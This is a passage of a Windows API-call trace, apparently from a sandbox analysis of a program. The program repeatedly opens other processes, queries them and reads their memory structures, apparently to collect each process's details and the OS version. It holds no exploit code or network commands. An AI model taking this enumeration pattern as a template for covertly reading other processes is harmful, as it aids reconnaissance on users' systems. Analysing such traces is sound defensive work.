ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a18f8, lpBuffer=0x670f7c2b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.838] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.840] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.840] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x202020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.840] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.840] malloc (_Size=0x78) returned 0x196ef0d2120 [0296.840] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4a1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0296.841] free (_Block=0x196ef0d2120) [0296.842] CloseHandle (hObject=0x464) returned 1 [0296.842] _ui64tow_s (in: _Value=0xe88, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3720") returned 0x0 [0296.847] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3720") returned 4 [0296.848] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.848] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.893] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x464 [0296.893] GetLastError () returned 0x0 [0296.894] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.894] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ac018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.894] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.894] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.894] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d18f8, lpBuffer=0x670f7c2b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.896] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.899] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.899] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ac020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.899] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.899] malloc (_Size=0x78) returned 0x196ef0d2120 [0296.899] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0296.900] free (_Block=0x196ef0d2120) [0296.901] CloseHandle (hObject=0x464) returned 1 [0296.902] _ui64tow_s (in: _Value=0xe90, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3728") returned 0x0 [0296.906] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3728") returned 4 [0296.907] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.907] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.941] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe90) returned 0x464 [0296.941] GetLastError () returned 0x0 [0296.941] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.942] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.942] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.942] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b1ce0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.942] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b18f8, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.943] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.945] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.945] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x30e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.945] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.945] malloc (_Size=0x70) returned 0x196ef0d31b0 [0296.945] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4b1960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.946] free (_Block=0x196ef0d31b0) [0296.947] CloseHandle (hObject=0x464) returned 1 [0296.947] _ui64tow_s (in: _Value=0xea4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3748") returned 0x0 [0296.952] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3748") returned 4 [0296.954] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.954] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.994] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xea4) returned 0x464 [0296.995] GetLastError () returned 0x0 [0296.995] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.996] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a8018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.996] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.996] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.996] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e18f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.997] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.999] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.999] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a8020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.999] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.999] malloc (_Size=0x72) returned 0x196ef0d31b0 [0296.999] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4e1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.000] free (_Block=0x196ef0d31b0) [0297.000] CloseHandle (hObject=0x464) returned 1 [0297.001] _ui64tow_s (in: _Value=0xeac, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3756") returned 0x0 [0297.005] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3756") returned 4 [0297.006] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.006] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.023] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xeac) returned 0x464 [0297.023] GetLastError () returned 0x0 [0297.024] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.024] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3af018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.024] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.024] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461ca0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.024] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.026] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.039] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.039] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3af020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.039] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.040] malloc (_Size=0x5a) returned 0x196ef0d03e0 [0297.040] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46194a, lpBuffer=0x196ef0d03e0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0297.041] free (_Block=0x196ef0d03e0) [0297.042] CloseHandle (hObject=0x464) returned 1 [0297.043] _ui64tow_s (in: _Value=0xec4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3780") returned 0x0 [0297.049] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3780") returned 4 [0297.051] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.051] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.068] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xec4) returned 0x464 [0297.068] GetLastError () returned 0x0 [0297.069] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.069] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3de018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.069] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.069] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x501cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.070] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5018f8, lpBuffer=0x670f7c2b0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.071] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.072] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.072] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3de020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.072] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5012e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.073] malloc (_Size=0x66) returned 0x196ef0d0370 [0297.073] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x501956, lpBuffer=0x196ef0d0370, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0297.095] free (_Block=0x196ef0d0370) [0297.096] CloseHandle (hObject=0x464) returned 1 [0297.128] _ui64tow_s (in: _Value=0xecc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3788") returned 0x0 [0297.133] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3788") returned 4 [0297.134] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.134] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.151] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xecc) returned 0x464 [0297.151] GetLastError () returned 0x0 [0297.152] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.152] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x290018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.152] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.152] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.153] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4418f8, lpBuffer=0x670f7c2b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.154] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.155] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.155] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x290020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.155] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4412e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.156] malloc (_Size=0x74) returned 0x196ef0d31b0 [0297.156] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x441964, lpBuffer=0x196ef0d31b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.157] free (_Block=0x196ef0d31b0) [0297.158] CloseHandle (hObject=0x464) returned 1 [0297.158] _ui64tow_s (in: _Value=0xedc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3804") returned 0x0 [0297.166] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3804") returned 4 [0297.168] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.168] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.188] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xedc) returned 0x464 [0297.188] GetLastError () returned 0x0 [0297.189] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.189] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.189] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.189] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481c70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0297.189] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4818f8, lpBuffer=0x670f7c2b0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0297.191] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0297.192] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0297.192] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0297.192] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4812e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0297.193] malloc (_Size=0x4a) returned 0x196ef100800 [0297.193] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x48193a, lpBuffer=0x196ef100800, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef100800*, lpNumberOfBytesRead=0x0) returned 1 [0297.193] free (_Block=0x196ef100800) [0297.194] CloseHandle (hObject=0x464) returned 1 [0297.195] _ui64tow_s (in: _Value=0xee4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3812") returned 0x0 [0297.215] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3812") returned 4 [0297.216] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0297.216] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0297.235] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xee4) returned 0x464 [0297.235] GetLastError () returned 0x0 [0297.236] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0297.236] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e6018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0297.236] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0297.236] 